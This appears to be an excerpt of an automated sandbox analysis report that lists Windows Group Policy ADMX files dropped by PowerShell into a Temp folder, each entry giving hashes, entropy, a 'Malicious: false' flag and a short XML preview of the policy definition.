Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1890
Entropy (8bit):	5.093916133973009
Encrypted:	false
SSDEEP:	48:3geDw08gmDk87fzofHKnKKQ5cbpLvtdhdclIpLvtdhq:QeD/mDk87LovKnKz5MvZdbvZq
MD5:	DC74C784089AE0E4184F3EDAE887C660
SHA1:	908E33D4D5ED3DC208BF1AAD02C6F03698883A22
SHA-256:	E45FA7062B6419FEF72511F5BA05C4DEAE8E6B2B279A4D24D979A5D850B17177
SHA-512:	4BF6617A548AD3824C2737830422A69E5E8F7603A8B7462F1D1DABCFE5FF48CA84A390F1B4F3B7DB32CAAE2F500CA772BE163BB016165E558A8369A0CA08E829
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="mobilepcmobilitycenter" namespace="Microsoft.Policies.MobilePCMobilityCenter" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="MobilityCenterCat" displayName="$(string.MobilityCenterCat)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="MobilityCenterEnable_1" class="User" displayName="$(string.MobilityCenterEnable)" explainText="$(string.MobilityCenterEnableExplain)" key="Software\Microsoft\Windows\CurrentVersion\Policies\MobilityCe

C:\Users\user\AppData\Local\Temp\file\Resource\MobilePCPresentationSettings.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1986
Entropy (8bit):	5.037281162849478
Encrypted:	false
SSDEEP:	48:3geDw08gmDWfoofHKnKwdQ5FecqhdToecqhq:QeD/mDWQovKnKN5FendUenq
MD5:	40C1F963BD2B08734F82239D7542F570
SHA1:	9CD09D857D6342B5455B6CFC203125B9632CE610
SHA-256:	0E2A855691998CD7CE982FBBEBAD49B67A5594216DD07B20892CD8E44544BD7E
SHA-512:	E83236AEECDB66D623D6639D1EC5034438D66B1A26C91A85895B136306495C9C6C664A82CF7BA9988A6E3189B47B603A687341FCF1DDFFC6408E5456B05A8006
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="mobilepcpresentationsettings" namespace="Microsoft.Policies.MobilePCPresentationSettings" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="PresentationSettingsCat" displayName="$(string.PresentationSettingsCat)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="PresentationSettingsEnable_1" class="User" displayName="$(string.PresentationSettingsEnable)" explainText="$(string.PresentationSettingsEnableExplain)" key="Software\Microsoft\

C:\Users\user\AppData\Local\Temp\file\Resource\Msi-FileRecovery.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (351), with CRLF line terminators
Category:	dropped
Size (bytes):	2147
Entropy (8bit):	5.02949938177498
Encrypted:	false
SSDEEP:	48:3geDw08gmDmfiofHKnKa55+uOO4qhhGwv4sOC:QeD/mDm6ovKnK25POO4oGwvKC
MD5:	C85E4C3146BA0E4CBAEE62125A5C954D
SHA1:	5C78EB6AEB908C98A3074FD7907A76A05F584403
SHA-256:	16FBC9E7FD3D69AEA17EE440E814894B89A18075803DAD10DBB6CE5BF3CC44AB
SHA-512:	87B10820DB5F39FD04FB35F93ED4E951211AE890D539153EA3F13FD8DDFFB99EBB9FCF27174571ED610C34346EAE2593EB3A586844F2C21CC6D42CD5818DD1E5
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="msifilerecovery" namespace="Microsoft.Policies.MSIFileRecovery" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WdiScenarioCategory" displayName="$(string.WdiScenarioCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. </categories>.. <policies>.. <policy name="WdiScenarioExecutionPolicy" class="Machine" displayName="$(string.WdiScenarioExecutionPolicy)" explainText="$(string.WdiScenarioExecutionPolicyExplain)" presentation="$(presentation.WdiScenarioExecutionPolicy)" k

C:\Users\user\AppData\Local\Temp\file\Resource\NAPXPQec.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1298
Entropy (8bit):	5.248937119316608
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtn6ft0s6fE3+dK9lKccpKjcp1a3qmgJLbO3LlP+2hJBg3:3geDw08gmD3ftofHKnKcQ5eXcLbO3LlC
MD5:	20AE7A9ED67CE7FEB0DFF8B7D0457425
SHA1:	9F8838190B9A5AB477ED2FDF8940424275C52357
SHA-256:	BF324C8EFFB6659E481965285CC03BA6EE81CBD702F07C628B5097EC9BF1800E
SHA-512:	9CEF5A9A6740994C681D1C8F09863649873358B5FF8A9C54871EA5795C937BA7A389C6BAAA5ECE4CC0854C840F32BF68755E179AEF8CF87986CD8EBB88280CEC
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="nap" namespace="Microsoft.Policies.NAP" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="NAP_Category" displayName="$(string.NAP_Category)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="NAP_XP_1x_QEC_1" class="Machine" displayName="$(string.NAP_XP_1x_QEC)" explainText="$(string.NAP_XP_1x_Help)" key="SOFTWARE\Policies\Microsoft\NetworkAccessProtection\ClientConfig\Qecs\79620" valueName="Enabled">.. <parentCategory ref="NAP

C:\Users\user\AppData\Local\Temp\file\Resource\NCSI.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (362), with CRLF line terminators
Category:	dropped
Size (bytes):	4348
Entropy (8bit):	5.134556796509173
Encrypted:	false
SSDEEP:	96:tD/mDbjovKnKu5aSYXsWqBwB/Wy1cqBwPL1gqBw+De1wqBw1h1BbnbY9qBweghT9:RYXTYSYXs6B/WyCPL+qeG1hPul9F42OS
MD5:	5D051B42C7220F25111EEC421E04AC69
SHA1:	FAB6FD752051BB542F31375E9B82A48EB29A94B5
SHA-256:	C7C4EC91849A5C717225D78D21D8C95023872B8C82553A66BE15A893EF22FF09
SHA-512:	323AE91E89B19FE6F0DB00F27A65AFB26029AF14D329D8BC8FDD8F8B7D46226CDB5EBB740950FFE7CF82DCBEB90981A91AF05BF364F8CA0F929D4998EC852048
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2008 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="ncsi" namespace="Microsoft.Policies.NCSI" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="NCSI_Category" displayName="$(string.NCSI_Category)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. <policies>.. <policy name="NCSI_CorpWebProbeUrl" class="Machine" displayName="$(string.NCSI_CorpWebProbeUrl)" explainText="$(string.NCSI_CorpWebProbeUrl_Help)" presentation="$(presentation.NCSI_CorpWebProbeUrl)" key="Software\Policies\Microsoft\Windows\NetworkConnectivityStatusInd

C:\Users\user\AppData\Local\Temp\file\Resource\Netlogon.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (357), with CRLF line terminators
Category:	dropped
Size (bytes):	20036
Entropy (8bit):	5.129890307550063
Encrypted:	false
SSDEEP:	384:lRhP9mhPKGmi6LlBNuk0PvgOYEDLNgejeYKSHAERDYlp8jdEh8gbnIYC8kaeeK8k:5lmtK3i4lrujPIORH6eiYrKD8pESgTIl
MD5:	3C0B4627753AAE0C85E12929450F6444
SHA1:	1464766278A38F1F8771FEBFE6ABF97DC9DED391
SHA-256:	CF64FBFA61B4E60289CFDEED6F6FA41CC466A8AFD11F5FA42F7D604994679195
SHA-512:	FC97661499A9C2BC917867A8CC7EF01016FD21DD2AFFC6D722D8A0C064AAAD964838707880531A8BF2E2A6EB8F4EFB94D8BF55ED938CBA47B83BE5C8C53627AA
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="netlogon" namespace="Microsoft.Policies.NetLogon" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Netlogon" displayName="$(string.Netlogon)">.. <parentCategory ref="windows:System" />.. </category>.. <category name="Netlogon_DC_Locator_DNS_Records" displayName="$(string.Netlogon_DC_Locator_DNS_Records)">.. <parentCategory ref="Netlogon" />.. </category>.. </categories>.. <policies>.. <policy name="Netlogon_AvoidPdcOnWan" class="Machine" displayName="$(string.Netlogon_AvoidPdcOnWan)" e

C:\Users\user\AppData\Local\Temp\file\Resource\NetworkConnections.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (306), with CRLF line terminators
Category:	dropped
Size (bytes):	17024
Entropy (8bit):	5.065571958045289
Encrypted:	false
SSDEEP:	384:CDoa+8N9V1REXMfCqJgjfIyd5tBJIPxhN0DKPrk+C:CbhC
MD5:	47DEFF766D6D46FAAA97BE484EF9F84F
SHA1:	0B154DFE9D1FEBE6C2464DEAD39050B2CC5CEE91
SHA-256:	755A94530660264B7933C21681635FFCADCC95E3B3A948B48C6C6E8D4801A350
SHA-512:	B08FCBBB6BCE1F4E708C92CFAAA1158759CE48CF8C2BAF922013A540E9446B42A26E8D456790E62ED70BA8AF48121A345D4516E10AB59FC1010A735BBCB5459B
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.1" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="networkconnections" namespace="Microsoft.Policies.NetworkConnections" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <supportedOn>.. <definitions>.. Microsoft Windows Server 2003, Windows XP, and Windows 2000 Service Pack 1 operating systems only-->.. <definition name="SUPPORTED_Win2kSP1_WindowsPreVista" displayName="$(string.SUPPORTED_Win2kSP1_WindowsPreVista)">.. <or>.. <range ref="products:MicrosoftWindows2000" mi

C:\Users\user\AppData\Local\Temp\file\Resource\NetworkIsolation.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	exported SGML document, Unicode text, UTF-8 (with BOM) text, with very long lines (402), with CRLF line terminators
Category:	dropped
Size (bytes):	4013
Entropy (8bit):	5.196537460992824
Encrypted:	false
SSDEEP:	96:jeD/mDCMoz8CKnKUrO6NwPqRpY+5Y6NwWxuqG6NwirMlRUTOpV/UNOP:UYj8YyPqTY+5gWxuxirzmim
MD5:	C15E99ADE72D05560D9C6CAE20F89573
SHA1:	849397805400762BE289A04073A21733377699E2
SHA-256:	6531461E0009A5F75A4833B332A809FB941CF18075A2AC1072E26B829E738E87
SHA-512:	245FAFAB7909FADC06E5C9B8E865F789D7E9E9C09A26BF182E4790AFFE0A49895693B8C4301A58DEA880C5C820A278CC13691DBC805CAC51623250FF2D89B01D
Malicious:	false
Preview:	... (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="networkisolation" namespace="Microsoft.Policies.NetworkIsolation" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="windowsfirewall" namespace="Microsoft.Policies.WindowsFirewall" />... </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WF_Isolation" displayName="$(string.WF_Isolation)">.. <parentCategory ref="windows:Network" />.. </category> .. </categories>.. <policies>.. .. Domain Proxies -->.... <policy name="WF_NetIsolation_Domain_Proxies" class="Machine" displayName="$(string.WF_NetIsolation_Domain_Proxies)" explainText="$(string.WF_NetIsolation_Domain

C:\Users\user\AppData\Local\Temp\file\Resource\NetworkProjection.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2443
Entropy (8bit):	5.103763615910914
Encrypted:	false
SSDEEP:	48:3geDw08gmDddfWcofHKnKbcJQ5VM+LcLClmxJhdVph+LcLClmxJhdNxpL9RcLmx/:QeD/mDddecovKnKbce5VM+LqClW3dV3f
MD5:	5C69E0E3724F9E3FB27A612ACDA5B9D4
SHA1:	FA96C96EAA945F78C9DAD24B229E3B1851353B2F
SHA-256:	5CB485C9072BF78964893B7AEC7C13546E96CE2EC89A8EEBA846EF090B8CFB01
SHA-512:	EA2863907854263321B6B2577179A1CF6E6BC804332B3A927229495233CE472E27CBF890C8A610C8C42F2A98419BD9C76D4D50A98F289BB0333D50AF078856BA
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="networkprojection" namespace="Microsoft.Policies.NetworkProjection" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="NetworkProjectorCat" displayName="$(string.NetworkProjectorCat)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="DisableNetworkProjector_1" class="User" displayName="$(string.DisableNetworkProjector)" explainText="$(string.DisableNetworkProjectorExplain)" key="Software\Policies\Microsoft\NetworkProjector" valueName="D

C:\Users\user\AppData\Local\Temp\file\Resource\OfflineFiles.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (331), with CRLF line terminators
Category:	dropped
Size (bytes):	27029
Entropy (8bit):	5.155170363469394
Encrypted:	false
SSDEEP:	768:8zzzz4d43W7RfvSFSZiRm9mek7b7wfnTHTxy1yxqtqFkntyfygvacadIcEfw:8zzzz4d43W7RfvSFSZiRm9mb7b7wfnTc
MD5:	A60A4A9DB9A90C9FC6C82D30276B0056
SHA1:	046A1990EAB864D851DB4E9139B106DA2A8696E9
SHA-256:	5361C24A8AE48E7E4A73DB1D1C5C9564CE4734758F29A2888404AAFDF1760426
SHA-512:	060FB114C0FC23671F7F5E637B416668AC79DC5BEADA2219DE854E8C246E1FE2300CC7CA37E34211F458F68CC39766826D1FF117FF92396CCB9B5774F7A7C7E0
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="offlinefiles" namespace="Microsoft.Policies.OfflineFiles" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Cat_OfflineFiles" displayName="$(string.Cat_OfflineFiles)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. <policies>.. <policy name="Pol_AlwaysPinSubFolders" class="Machine" displayName="$(string.Pol_AlwaysPinSubFolders)" explainText="$(string.Pol_AlwaysPinSubFolders_Help)" presentation="$(presentation.Pol_AlwaysPinSubFolders)" key="Software\Policies\Microsoft\Wi

C:\Users\user\AppData\Local\Temp\file\Resource\P2P-pnrp.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (310), with CRLF line terminators
Category:	dropped
Size (bytes):	8498
Entropy (8bit):	5.153527829256812
Encrypted:	false
SSDEEP:	96:QeD/mDNBovKnKeKzKzKNK15fcF2njMdAnj8d2njaLd55n7w+QqlT1mP4d0PId2PO:vYLLqKj/j5ju8+ndIBz3+8jumQez+8YZ
MD5:	C9F98B5A7D4006C04787A10A6BD2A009
SHA1:	084F76C7224965A6D2FA01D98B35CCD80E5096B1
SHA-256:	58AE627F3502C6605B3BA8CB2FEF574179979489A75008E03C9AC07B5CB9F4BE
SHA-512:	562023783F7CB613823795247D4FFE62E5B455DA392F8BFDCE5F00C666E08639CA6C3628812B39C25EA3082CC26B1BF1F312B57C4E54D7F16E8F2CC28A4EE438
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="p2p-pnrp" namespace="Microsoft.Policies.PlugandPlay" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="P2P_Name" displayName="$(string.P2P_Name)">.. <parentCategory ref="windows:Network" />.. </category>.. <category name="PNRP_Name" displayName="$(string.PNRP_Name)">.. <parentCategory ref="P2P_Name" />.. </category>.. <category name="PNRP_Global" displayName="$(string.PNRP_Global)">.. <parentCategory ref="PNRP_Name" />.. </category>.. <category name="PNRP_LinkLocal" displayName

C:\Users\user\AppData\Local\Temp\file\Resource\ParentalControls.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	5.124322503569571
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtOM6f/L0s6fE3+dK9lKUcpKjcpmCdoqLJV1okkqiFe++2K:3geDw08gmDVxf/LofHKnKUQ5s4ouJMkz
MD5:	029FEB33B77788C4A6F2EA1C00E0F1C8
SHA1:	EA7ED461044AF8F6136DFAA93403864C3B6E3CA5
SHA-256:	F1BFE7A5C1E2C1985E00C497C355940896937303D4D650167E61E649E2387317
SHA-512:	7E4CF03F078EF8C0F1646B57ECADD30199ABDF7A1E940B0A820E7AE1C66369F4CB2C703FA604DE6D1B6405EBDB13F8205DCF9B162E9F071D84387A4BDD3AD632
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="parentalcontrols" namespace="Microsoft.Policies.ParentalControls" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="ParentalControls" displayName="$(string.ParentalControls)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="ParentalControls_EnableOnDomain_State_2" class="Machine" displayName="$(string.ParentalControls_EnableOnDomain)" explainText="$(string.ParentalControls_EnableOnDomain_help)" key="Software\Microsoft\Windows\CurrentV

C:\Users\user\AppData\Local\Temp\file\Resource\PeerToPeerCaching.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	7194
Entropy (8bit):	5.076741848026244
Encrypted:	false
SSDEEP:	192:vcNuFSfJ/5XKj3hzWSfVzR0SLQjxSHA7LXFXqTWs2kKWLZrrInr48T9JjV:StJRXKj3hzTVzRJQjmA7zFaTWsnnUE+N
MD5:	383B26416096E4DDEB0D5911B233C7E7
SHA1:	2A1DA63F33FCF6A4D02B1A12222D569910193253
SHA-256:	7095E0D9980F5FE11528D4EAA16E76BD08AA5A297EFA4BA465757A2BC2B268B9
SHA-512:	D9518A5CC45E1AF43C2D168B980EFCF896A40E6A0F0CFBCDF38A67893C0571FDEB095970E67F49B987EF66B852AEC578BAB8F59114036D8E529D3F6D2E87777E
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.... <policyNamespaces>.. <target prefix="WindowsBranchCache" namespace="Microsoft.PoliciesContentWindowsBranchCache" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.... <resources minRequiredRevision="1.0" />.... <supportedOn>.. <definitions>.. Windows 7 or computers with BITS 4.0 installed.-->.. <definition name="SUPPORTED_Windows7OrBITS4" displayName="$(string.SUPPORTED_Windows7OrBITS4)">.. <or>.. <reference ref="windows:SUPPORTED_Windows7"/>.. <reference ref="products:BITS40"/>.. </or>.. </defin

C:\Users\user\AppData\Local\Temp\file\Resource\PenTraining.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1773
Entropy (8bit):	5.164875333647642
Encrypted:	false
SSDEEP:	48:3geDw08gmDjhf4VAofHKnKxHKi5Tm1mjmqmQ77vf4/dTmonmjmGQ77vf4/q:QeD/mDFQCovKnKZ51mqWdoqWq
MD5:	EE9F671FD7817CAF529DFDA03D060F76
SHA1:	A0B9E29DA8A0E99C2F83CB40818470DFB496C7CA
SHA-256:	8E7B484574ECA27E767044329BECD81FABE9535FFD30AE5CEE5023EB7C7292D4
SHA-512:	2D2B8322C20477C64268F91CD276C10831E03738B6BB33091A00EF6EB6CD67F8DE22AD9D2FD0CE21EA0D2C6BF3242F9338AEFBFA059203D5E23604657927C21C
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="pentraining" namespace="Microsoft.Policies.PenTraining" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="PenTraining" displayName="$(string.PenTraining)">.. <parentCategory ref="windows:TabletPC" />.. </category>.. </categories>.. <policies>.. <policy name="PenTrainingOff_1" class="User" displayName="$(string.PenTrainingOff)" explainText="$(string.PenTrainingOff_Help_USER)" key="SOFTWARE\Policies\Microsoft\PenTraining" valueName="DisablePenTraining">.. <parentCategory ref="PenTraining" />..

C:\Users\user\AppData\Local\Temp\file\Resource\PerformanceDiagnostics.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (360), with CRLF line terminators
Category:	dropped
Size (bytes):	7555
Entropy (8bit):	5.019099061018688
Encrypted:	false
SSDEEP:	96:QeD/mDC0ovKnKCK2K4Kij5E+g4goo4Vo4Ulwvh1mQd4lGwvh1rVh4MojU4Di4VjS:vY/VjgXbSvhbdIvhThJH/USvhg9vhC
MD5:	B0603D67D66D7DF907B9C2AACF31A14B
SHA1:	1217C7F2C6D95FE938748B78211A1F32BD514163
SHA-256:	159E1F84C0076A27F6FEF89EBB39EDC7BD51E55B29193754B925FF9ADD543538
SHA-512:	DD3FA4B49B52F3734DB3A40B91688CCDA35A3990338ED9857E66FEA43256B79EF3E5D27B56EB16A5BA37AD4082A0FED76425AC4E02CE6379C9ED058155586C8C
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="performancediagnostics" namespace="Microsoft.Policies.PerformanceDiagnostics" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="BootScenarioCategory" displayName="$(string.BootScenarioCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. <category name="ResumeScenarioCategory" displayName="$(string.ResumeScenarioCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. <category name="ShellScenarioCategory" displayName="$(string.ShellScenarioC

C:\Users\user\AppData\Local\Temp\file\Resource\PerformancePerftrack.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1939
Entropy (8bit):	5.240961038286916
Encrypted:	false
SSDEEP:	48:3geDw08gmD9Of2ofHKnKK55+6zz4qvhozz4Vzz4UX:QeD/mD9O+ovKnKG5Ln4Oon4Vn4UX
MD5:	AC09352764410A58C8D7AAA7E9E8023F
SHA1:	935038C60CA5734B12A207F7A07F5CE701C1FEF2
SHA-256:	03397786C0411CED7DE160CDA964E1EF2008E312A12698160F53869E6EDC1C33
SHA-512:	491AA91A46272B56138CDDE8D08395E71607F152B7312C0090E9C4E7AC1E621839E6BEE0306FFB6B8EF219A0D7131190CC7BE376511FA8DBC14E01F036F7BC80
Malicious:	false
